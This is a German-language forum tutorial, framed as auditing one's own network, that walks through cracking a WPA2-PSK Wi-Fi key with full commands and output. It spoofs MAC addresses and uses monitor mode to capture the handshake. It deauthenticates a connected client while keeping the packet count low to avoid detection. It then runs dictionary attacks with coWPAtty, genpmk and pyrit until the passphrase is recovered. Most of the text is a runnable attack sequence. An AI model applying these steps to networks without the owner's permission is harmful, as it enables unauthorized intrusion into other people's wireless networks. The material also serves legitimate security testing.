HowTo - Das eigene WLAN auf Schwachstellen überprüfen
---Angewendet auf Basis der WPA-Verschlüsselung---
Copyright (c) haze303, [
Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]
1. Vorwort
Liebe Community,
mit diesem HowTo möchte ich euch aufzeigen, wie man sein eigenes WLAN auf seine Sicherheit überprüfen kann, wenn Dieses via WPA-Verschlüsselung gesichert ist.
Ich möchte betonen, dass die hier gezeigten Methoden insofern illegal sind und man sich strafbar macht, wenn man diese auf ein fremdes WLAN anwendet, von dessen Besitzer man nicht die ausdrückliche Erlaubnis hat. Bitte beachtet dies!
2. Verwendete Hard- und Software- OS: Ubuntu 9.10 32Bit (Kommentare über das Betriebssystem bitte sparen - ich komme aus der BSD-Welt und weiß, wie BSD/Linux im Detail funktioniert.)
- Software: airodump-ng, airmon-ng, macchanger, aireplay-ng, genpmk, coWPAtty, pyrit-cuda (Alle Programme auf dem aktuellsten Versionsstand.)
- Hardware: Laptop mit Core2Duo 2,4GHz / 4GB RAM / NVIDIA Quadro NVS 160M GFX / Ralink 2573 USB / Wifi-Treiber: rt73usb
3. Vorbereitung
Mit dem Programm
airmon-ng prüfen, welcher Adapter welchen Namen zugeordnet bekommen hat.
Code:
root@haze-laptop:~# airmon-ng
Interface Chipset Driver
wlan0 Intel 4965/5xxx iwlagn - [phy2]
wlan2 Ralink 2573 USB rt73usb - [phy16]
Nun den Adapter (in meinem Fall wlan2 - kann auf eurem System unter einem anderen Namen eingebunden sein) wlan2 abschalten, damit wir die MAC-Adresse des Adapters ändern können.
Code:
root@haze-laptop:~# ifconfig wlan2 down
root@haze-laptop:~# macchanger --mac 00:11:22:33:44:55 wlan2
Current MAC: xx:xx:xx:xx:xx:xx (unknown)
Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)
Wie man sehen kann, haben wir mittels den zwei Befehlen die MAC-Adresse des Adapters geändert und können somit sicher sein, dass wir am Ende, wenn wir unseren Key "erraten" haben, mit einem neuen Eintrag in der Netzwerk-Device-Liste eures Routers auftauchen.
Ich lasse bewusst das wlan2 Device abgeschalten, da wir es im Moment nicht brauchen werden.
---
Jetzt starten wir unseren WLAN-Adapter im
promiscuous mode oder auch
monitor mode genannt, was soviel heisst wie, dass airmon-ng (in den meisten Fällen) ein zweites Device anlegt, welches die gesamten WLAN-Packets in der Umgebung mithört.
Code:
root@haze-laptop:~# airmon-ng start wlan2
Interface Chipset Driver
wlan0 Intel 4965/5xxx iwlagn - [phy2]
wlan2 Ralink 2573 USB rt73usb - [phy16]
(monitor mode enabled on mon0)
Nicht jede Karte unterstützt den monitor mode - ob eure Karte diesen unterstützt bzw. auf welchen Chipsatz ihr achten müsst beim Kauf einer WLAN-Karte, könnt ihr [
Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ] entnehmen.
Nun schalten wir auch das neue Device
mon0 ab, um die MAC-Adresse ändern zu können. Mit der gleichen Verfahrensweise, wie auch schon beim
wlan2 Device.
Code:
root@haze-laptop:~# ifconfig mon0 down
root@haze-laptop:~# macchanger --mac 00:11:22:33:44:55 mon0
Current MAC: 00:1f:1f:28:33:0c (unknown)
Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)
root@haze-laptop:~# ifconfig mon0 up
Der einzige Unterschied zur Abschaltung des Devices zwischen
wlan2 und
mon0 ist, dass wir das Device
mon0 wieder starten, da wir ihn gleich brauchen.
4. Durchführung des Capturing
Nun geht es ans Eingemachte - wir beginnen endlich damit, unser WLAN-Netzwerk zu orten, Packets mitzuschneiden und letztendlich den Key zu "erbruteforcen".
Wir beginnen nun mit dem Programm
airodump-ng die Packets, welche alle WLANs in unserer Reichweite senden, "abzuhören".
Code:
root@haze-laptop:/home/haze# airodump-ng mon0
CH 11 ][ Elapsed: 2 mins ][ 2009-12-02 22:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -34 46 0 0 7 54 WPA2 CCMP PSK myGully
BSSID STATION PWR Rate Lost Packets Probes
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -45 0 - 1e 0 36
Hier haben wir die Ausgabe des Scans der WLANs in unserer Reichweite.
Name des Netzwerks (SSID): myGully
Kanal auf dem der Access-Point sendet: 7
Netzwerkadresse des Access-Points (BSSID): 00:11:22:33:44:55
Netzwerkadresse des Clients (Client MAC): AA:BB:CC
D:EE:FF
Dies bedeutet, dass zum WLAN "myGully" ein Client verbunden ist, was für den weiteren Verlauf sehr glücklich ist und uns eine Menge Zeit ersparen könnte - doch dazu später mehr.
---
Nun werden wir ausschliesslich auf Kanal 6 die Packets des WLANs abhören und in eine Datei schreiben, um später aus den gesammelten Daten den Key zu ermitteln.
Code:
root@haze-laptop:/home/haze/etc/mygully# airodump-ng -c 7 --bssid 00:11:22:33:44:55 -w mygully mon0
Hier die einzelnen Schalter für diesen Befehl etwas genauer markiert:
airodump-ng -c %CHANNEL% --bssid %BSSID% -w %AIRODUMP_OUTPUTFILE% mon0
Die Ausgabe von airodump-ng inkl. dieser Schalter:
Code:
CH 7 ][ Elapsed: 4 s ][ 2009-12-02 23:36
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -31 100 57 11 0 7 54 WPA2 CCMP PSK myGully
BSSID STATION PWR Rate Lost Packets Probes
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -35 0 -48 0 13
Wir lassen airodump-ng einfach mitlaufen, bis wir den 4-Way Handshake abgefangen und in unserem Capture-File (airodump-ng Output File) gespeichert haben.
---
In einem neuen Terminal Fenster werden wir jetzt versuchen den Client, welcher zum Router verbunden ist, mit dem Programm
aireplay-ng zum disconnecten und reconnecten zwingen.
airodump-ng läuft weiterhin in eurem anderen Terminal und zeichnet die Packets auf - ganz wichtig!
Code:
root@haze-laptop:/home/haze# aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF mon0
Erklärung des der Schalter:
-0 1 = Broadcast DeAuth oder Single Client DeAuth Methode (in unserem Fall Single Client, da wir eine Client MAC angegeben haben - wesentlich effektiver, wie ein Broadcast DeAuth.)
Die 1 bedeutet, dass wir das DeAuth-Packet nur einmal absenden, um den AP nicht auf uns aufmerksam zu machen - Stichwort: DeAuth Flooding
-a = die BSSID des APs
-c = die Client MAC
mon0 = unser WLAN-Interface
---
Das passierte nun währenddessen in unserem anderen Terminal, indem airodump-ng die Packets in eine Datei mitgeschnitten hat.
Code:
CH 7 ][ Elapsed: 36 s ][ 2009-12-02 23:45 ][ WPA handshake: AA:BB:CC:DD:EE:FF
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -33 100 361 84 1 7 54 WPA2 CCMP PSK myGully
BSSID STATION PWR Rate Lost Packets Probes
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -39 54 -36 0 103
Hier fett markiert sehen wir, dass
airodump-ng den 4-Way Handshake erkannt und mit in unser Capture-File geschrieben hat. Beste Voraussetzungen!
---
5. Analyse des Capture-Files
Hier geht es darum, dass Capture-File zu analysieren, um wirklich sicher zu stellen, dass wir einen vollständigen 4-Way Handshake mitgeschnitten haben.
Es gibt verschiedene Methoden dies durchzuführen - meine genutzten sind mit
Wireshark oder via
coWPAtty.
Beginnen wir mit der Wireshark Methode:
Wir öffnen das Capture-File mit Wireshark und setzen den Filter auf das EAPOL Protokoll, sodass uns nur die EAPOL Frames angezeigt werden.
[
Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]
---
Nun die coWPAtty Methode:
Hierzu nutzen wir das Programm coWPAtty:
Code:
haze@haze-laptop:~/etc/mygully$ cowpatty -c -r mygully-01.cap
cowpatty 4.6 - WPA-PSK dictionary attack. <[email protected]>
Collected all necessary data to mount crack against WPA2/PSK passphrase.
Erklärung der Schalter:
-c = Nur Analyse des Capture-File, ohne es zu cracken
-r = Dateiname des Capture-Files
6. Bruteforcen des Capture-Files mit Rainbow Tables oder pyrit
Jetzt geht es ans eingemachte - wir befinden uns im Endspurt und werden nun das Capture-File mit einem Dictionary-Bruteforce attackieren.
Hierbei kann man verschiedene Methoden anwenden - die einen sind sehr effektiv, die Anderen wiederum nicht. Ich stelle euch die zwei effektivsten Methoden vor. (von beiden gibt es wiederum noch eine kleine Steigerung, indem man Datenbanken und Rainbow Tables mit pyrit/coWPAtty anlegt - aber das würde jetzt wirklich den Rahmen Sprengen)
Die Rainbow Table Methode:
Bei dieser Methode wird aus einer Wordlist ein Rainbow Table errechnet, mit diesem der Bruteforce-Vorgang exorbitant beschleunigt wird, gegenüber der normalen Aircrack-Methode. Die Erstellung des RT dauert zwar ein wenig - je nach dem, wie groß eure Wordlist ist. Das kann Minuten, Stunden, Tage, Wochen oder auch Monate dauern.
Diese Methode wird auch sehr gerne genutzt, weil es sehr viele RTs im Netz herunterzuladen gibt und diese auch mit anderen geteilt werden können.
Code:
haze@haze-laptop:~/etc/mygully$ sudo genpmk -f /home/haze/cracking/german_dictionary.txt -s myGully -d myGullyrt
genpmk 1.1 - WPA-PSK precomputation attack. <[email protected]>
File myGullyrt does not exist, creating.
key no. 1000: Absatzländeren
.
.
.
key no. 192000: anorganischer
192097 passphrases tested in 1058.04 seconds: 181.56 passphrases/second
Erklärung der Schalter:
-f = Pfad und Dateiname der Wordlist
-s = die SSID des WLAN-Netzwerks
-d = der Dateiname des zu erstellenden Rainbow Tables
Nun die Attacke auf das Capture-File mit dem soeben erstellten Rainbow Table:
Code:
haze@haze-laptop:~/etc/mygully$ cowpatty -d myGullyrt -r mygully-01.cap -s myGully
cowpatty 4.6 - WPA-PSK dictionary attack. <[email protected]>
Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.
key no. 10000: Außenministerkandidat
.
.
.
key no. 190000: anlehnened
The PSK is "diesistderkey".
192097 passphrases tested in 1.84 seconds: 104183.91 passphrases/second
Wie ihr sehen könnt, ist die Geschwindigkeit der Rainbow Table Methode wirklich beeindruckend.
---
Die pyrit Methode:
Diese Methode benutzt die GPU der Grafikkarte und die CPU, um das Capture-File mit der Wordlist zu attackieren. Vorteil gegenüber der normalen Aircrack-Methode ist, dass die GPU+CPU zusammen in Sachen Verarbeitung natürlich wesentlich schneller ist, als nur die normale CPU.
Selbstverständlich kommt diese Behauptung nur dann zu tragen, wenn auch eine entsprechend schnelle Grafikkarte in eurem Rechner verbaut ist.
pyrit gibt es mit drei verschiedenen Add-ons. Ich selbst habe nur NVIDIA Karten verbaut und nutze somit das pyrit-cuda Add-on.
Los gehts:
Code:
root@haze-laptop:/home/haze/etc/mygully# pyrit -e myGully -f /home/haze/cracking/test1 passthrough | cowpatty -d - -s myGully -r mygully-01.cap
cowpatty 4.6 - WPA-PSK dictionary attack. <[email protected]>
Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.
Using STDIN for hashfile contents.
The ESSID-blobspace seems to be empty; you should create an ESSID...
key no. 10000: Ballkleidern
.
.
.
key no. 180000: annullable
The PSK is "diesistderkey".
180571 passphrases tested in 212.85 seconds: 848.33 passphrases/second
Erklärung der Schalter:
-e = SSID des WLAN-Netzwerks
-f = Pfad und Dateiname zur Wordlist
passthrough = durchlaufe die wordlist und übergebe sie an die stdout bzw. piped an coWPAtty
-d = übernehme aus der stdout bzw. aus der pipe von pyrit die Ausgabe der Wordlist
-s = SSID des WLAN-Netzwerks
-r = Pfad und Dateiname zum Capture-File
---
7. Schlusswort und Tipps
Das war meine Vorstellung vom gehobeneren Weg zu einem WPA-Key.
Es geht noch schneller mit der Pyrit, Datenbank, Rainbow Table und coWPAtty Methode in Kombination, aber wie schon angesprochen, würde das hier den Rahmen sprengen und eventuell auch den Einen oder Andere für den Anfang etwas überfordern, daher die etwas einfacheren Methoden, welche trotz allem viel effektiver als die normale Aircrack-Methode sind.
Ich hoffe, ihr hattet Spaß am Lesen und habt ein paar lehrreiche Dinge aus diesem HowTo mitnehmen können und vor allem hoffe ich, dass ich verständlich rüberbringen konnte, was wir hier eigentlich machen.
Das ist mit Abstand das Wichtigste - verstehen und nicht einfach nur stur abtippen, denn das hält sich länger im Gehirn und könnte für die Zukunft mal wieder nützlich werden.
Fragen immer gerne, jedoch bitte hier im Thread, da sonst der Überblick verloren geht und eventuell auch Lösungen für den Ein oder Anderen mit dem gleichen Problem.
Rechtschreibfehler können vorkommen, da ich den ganzen Thread nicht noch einmal akribisch Korrektur gelesen habe.
Viele Grüße,
haze303
EDIT: Diese Anleitung kann gerne auf andere Foren gepostet werden, jedoch möchte ich vorher gefragt werden.